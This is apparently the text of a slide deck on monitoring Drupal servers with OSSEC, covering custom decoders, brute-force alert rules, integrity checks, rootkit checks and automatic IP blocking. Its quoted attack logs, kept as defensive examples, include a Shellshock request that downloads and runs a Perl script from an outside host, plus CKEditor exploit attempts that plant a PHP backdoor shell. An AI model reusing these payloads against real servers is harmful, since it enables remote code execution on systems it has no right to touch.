Embed Size (px)
Citation preview
OSSECIntrusion detection and response
System and log analysis of Drupal sites and servers
Accidental surprises…November 2012
!!33.44.55.66 - - [04/Nov/2012:05:48:59 +1100] "POST http://www.example.com/?q=fckeditor%2Fxss HTTP/1.1" 404 32956 "-" "-"!33.44.55.66 - - [04/Nov/2012:05:49:01 +1100] "POST http://www.example.com/?q=ckeditor%2Fxss HTTP/1.1" 200 0 "-" "-"!33.44.55.66 - - [04/Nov/2012:05:49:04 +1100] "GET http://www.example.com/sites/default/files/wtm5439n.php HTTP/1.1" 200 109 "-" "-"!33.44.55.66 - - [04/Nov/2012:06:27:25 +1100] "POST http://www.example.com/sites/default/files/wtm5439n.php?cookies=1&showimg=1&truecss=1&t2122n=1 HTTP/1.1"…!!!!
‘C99 (R57) shell’ (PHP-based Backdoor) !
CKeditor: arbitrary code exec (SA-CONTRIB-2012-040) Core served .php files from ‘files’ dir (SA-CORE-2013-003)
Last month’s doozie
/var/log/syslog !Oct 20 19:58:18 example drupal: https://www.example.com|1413831498|php|11.22.33.44|https://www.example.com/user||0||Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 984 of /var/www/drupal/www/includes/database/database.inc)!!!
!https://www.drupal.org/SA-CORE-2014-005
Shellshock
/var/log/nginx/access.log !!81.145.204.4 - - [18/Oct/2014:16:50:22 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 3652 "() { :;}; /bin/bash -c \x5Cx22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf /tmp/lifesux.txt\x5Cx22" "() { :;}; /bin/bash -c \x5Cx22cd /tmp;wget http://74.52.27.243/lifesux.txt;perl /tmp/lifesux.txt;rm -rf lifesux.txt\x5Cx22"
What’s in logs?
/var/log/apache2 • crawlers hunting for holes
• brute-forcing /user/password, /user/register
• error 500, 504 (gateway timeouts, slow PHP?)
What’s in logs?
/var/log/syslog (Drupal!) • brute forcing (in more detail)
• exceptions, permissions problems
• crashes, panics, timeouts
• external service drama: Mollom, Payment GW
What’s in logs?
/var/log/auth.log
• SSH, user/group modifications
• sudo vi /srv/drupal/includes/bootstrap.inc :(
Risk != Intrusion
• Bad practice (‘sudo chown -R 777..)
• Human error
• Dependant services (third parties)
• Packages installed or removed (/var/log/apt/history.log)
…all has impact, all in the logs!
ISO27001
Security is not just about intrusions
!
Security is anything that could compromise
availability, integrity, confidence, trust,
reputation, money…
OSSEC model
• Server->agent mode (central config, active response propagates)
• Local mode (standalone)
• Hybrid mode (multi-tier, complex topography)
4 main features
• Log analysis (What’s happening now that’s being logged?)
• Syscheck (integrity checking - what happened that left traces?)
• Rootcheck (rootkit detection)
• Active Response (what to do about it?)
Log AnalysisWhat’s happening?
Decoders How to interpret logs
(regex patterns to split up timestamps, IPs, messages)
Rules Match decoded message against known issues
Grade them by severity
Log Analysis
Out of the box examples:
• SSH (bruteforcing, ‘first time user logged in’)
• ‘First time user executed sudo’
• SMTP (spam relay attempts, SASL bruteforcing)
• Apache/Nginx issues (40Xs, 50Xs)
• Wordpress/Joomla brute-forcing - no Drupal :(
Log Analysis!
Drupal watchdog custom decoder (Syslog module)
<decoder name="drupal">!
! ! ! ! ! <program_name>^drupal</program_name>!
! ! ! ! ! <prematch>\d+.\d+.\d+.\d \S+|\d+|\w+|</prematch>!
! ! ! ! ! <regex offset="after_prematch">(\d+.\d+.\d+.\d+)\|(\.+)\|\.*\|\d+\|\.*\|(\.+)</regex>!
! ! ! ! ! <order>srcip,url,data</order>!
! ! ! ! </decoder>!
http://www.madirish.net/428
Log Analysis
Example Drupal rules 1/3
<rule id="104110" level="3">!
! <decoded_as>drupal</decoded_as> " " <!— Use drupal decoder for this message —>"
! <match>Drupal</match>!
! <description>Drupal syslog message</description>!
</rule>
Log Analysis
Example Drupal rules 2/3
<rule id="104120" level="6">!
! <if_sid>104110</if_sid>! " " " <!— If this was a Drupal log message —>!
! <match>Login attempt failed</match>" " <!— And the message contained ‘Login attempt failed’ —>!
! <description>Drupal failed login!</description>!
</rule>
Log Analysis
Example Drupal rules 3/3
<rule id="104130" level="10" frequency="4" timeframe=“360"> <!— Happened too many times too quickly —>!
! <if_matched_sid>104120</if_matched_sid> ! ! <!— Parent Drupal rule: ‘Login attempt failed’ —>!
! <description>Possible Drupal brute force attack </description>!
! <description>(high number of logins).</description>!
</rule>
Log Analysis
Bingo! OSSEC HIDS Notification.!2014 Jun 23 18:11:38!!Received From: (example) 11.22.33.44->/var/log/messages!Rule: 104130 fired (level 10) -> "Possible Drupal brute force attack (high number of logins)."!Portion of the log(s):!!Jun 23 18:11:38 example drupal: http://www.example.com|1403511098|user|185.17.27.182|http://www.example.com/index.php?q=user/login|http://www.example.com/index.php?q=user/login|0||Login attempt failed for wembleylman10.!Jun 23 18:11:36 example drupal: http://www.example.com|1403511096|user|185.17.27.182|http://www.example.com/index.php?q=user/login|http://www.example.com/index.php?q=user/login|0||Login attempt failed for wembleylman10.!Jun 23 18:09:12 example drupal: http://www.example.com|1403510952|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for arreveMof.!Jun 23 18:09:12 example drupal: http://www.example.com|1403510952|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for arreveMof.!Jun 23 18:09:09 example drupal: http://www.example.com|1403510949|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for abralfultifug.!Jun 23 18:09:09 example drupal: http://www.example.com|1403510949|user|185.17.27.182|http://www.example.com/content/welcome?destination=node/4|http://www.example.com/node/add/submission|0||Login attempt failed for abralfultifug.!!--END OF NOTIFICATION
Log Analysis
Resource problems? (bottleneck/memory leak?) !OSSEC HIDS Notification.!2014 May 07 14:49:44!!Received From: (example) 11.22.33.44->/var/log/syslog!Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system."!Portion of the log(s):!!May 7 14:49:43 example drupal: http://www.example.com|1399470583|php|55.66.77.88|http://www.example.com/user/68/edit|http://www.example.com/user/68/edit|25||PDOException: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction: DELETE FROM {XXXXXXXXX} #012WHERE (uid = :db_condition_placeholder_0) AND (subid = :db_condition_placeholder_1) ; Array#012(#012 [:db_condition_placeholder_0] => 68148#012 [:db_condition_placeholder_1] => 77217#012)#012 in XXXXXXX_update::delete() (line 652 of /var/www/drupal/www/sites/all/modules/custom/XXXXXX/XXXXX.inc).!!--END OF NOTIFICATION!!—————————————————————————————————————————————————————————————-!!OSSEC HIDS Notification.!2014 Jun 14 15:17:02!!Received From: (example) 11.22.33.44->/var/log/messages!Rule: 1002 fired (level 2) -> "Unknown problem somewhere in the system."!Portion of the log(s):!!Jun 14 15:17:02 example ool www: PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 64 bytes) in /var/www/drupal/www/sites/all/modules/contrib/views/modules/field/views_handler_field_field.inc on line 674!!--END OF NOTIFICATION
Syscheck
• Detects when files have changed (checksums)
• lots of false positives due to software patching 2014 Jul 01 04:01:03!!Received From: (example) 11.22.33.44->syscheck!Rule: 550 fired (level 7) -> "Integrity checksum changed."!Portion of the log(s):!!Integrity checksum changed for: '/usr/bin/ssh'" " " " " " << hopefully that’s legit because you recently patched OpenSSH..!!Size changed from '434024' to '641640'!Old md5sum was: '50226273f654d7a2d7b38a0b0c09def4'!New md5sum is : 'a8bf35316eb4f46e377a957ecb6cfdca'!Old sha1sum was: '976af6f53338a7e9d4eb71617a2a8471aeb6937b'!New sha1sum is : 'e871e0a907cdfb76c6e0722a6196b0c9f8edb1fd'!!!!--END OF NOTIFICATION
what’s changed?
Rootcheck
• rkhunter is great, but get a 2nd opinion
• Hopefully more false positives than not!
OSSEC HIDS Notification.!2012 Nov 20 23:37:22!!Received From: (example) 11.22.33.44->rootcheck!Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."!Portion of the log(s):!!Anomaly detected in file '/tmp/#sql_1020_0.MYI'. Hidden from stats, but showing up on readdir. Possible kernel level rootkit."!--END OF NOTIFICATION
Rootcheck
Gah!! !
OSSEC HIDS Notification.!2012 Nov 12 09:36:16!!Received From: example->rootcheck!Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."!Portion of the log(s):!!File ‘/var/www/sites/default/settings.php’ is owned by root and has written permissions to anyone."!!!--END OF NOTIFICATION
Active Response
!OSSEC HIDS Notification.!2014 Jun 28 21:36:54!!Received From: (example) 11.22.33.44->/var/log/nginx/access.log!Rule: 31151 fired (level 10) -> "Multiple web server 400 error codes from same source ip."!Portion of the log(s):!!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:59 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //php/phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //forum/phpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!89.46.101.213 - - [28/Jun/2014:21:34:58 +0100] "GET //cpphpmyadmin/scripts/setup.php HTTP/1.1" 404 1198 "-" "-"!!--END OF NOTIFICATION
OK, now what?
Active Response
firewall-drop.sh
most common response
but can be anything you want
‘null route’ alternative exists for systems behind NAT
(where public IP blocking is useless)
Active Response
When using server->agent model:
One agent detectsEvery agent blocks
(immediately)!
Can employ ‘repeat offender’ punishment
Active Response
Drupal behind loadbalancers/Varnish?
Make sure you have IPs logging correctly!
!
• Nginx/Apache to log X-Forwarded-For as client IP
• $conf[‘reverse_proxy’]$conf[‘reverse_proxy_addresses’]
Email sucks
Good for notifications. Crap to look at. (ELK demo time)
ELK: much nicer
(demo time)
Mig’s tips
• Filter out the noise to avoid ‘monitoring fatigue’
…tune, don’t ignore rule 1002 (‘Unknown Problem’)
• Whitelist all your IPs: don’t lock yourself out!
• OSSEC is not perfect: add ‘defense in depth’ (NIDs, Cloudflare WAF, rkhunter, ClamAV)
Resources
These slides https://mig5.net/files/ossec-lite.pdf
Website http://www.ossec.net
Monitoring Drupal with OSSEC http://www.madirish.net/428
My quick-start install script http://is.gd/ossec_install Longer version of this talk http://is.gd/ossec_mig5_talk
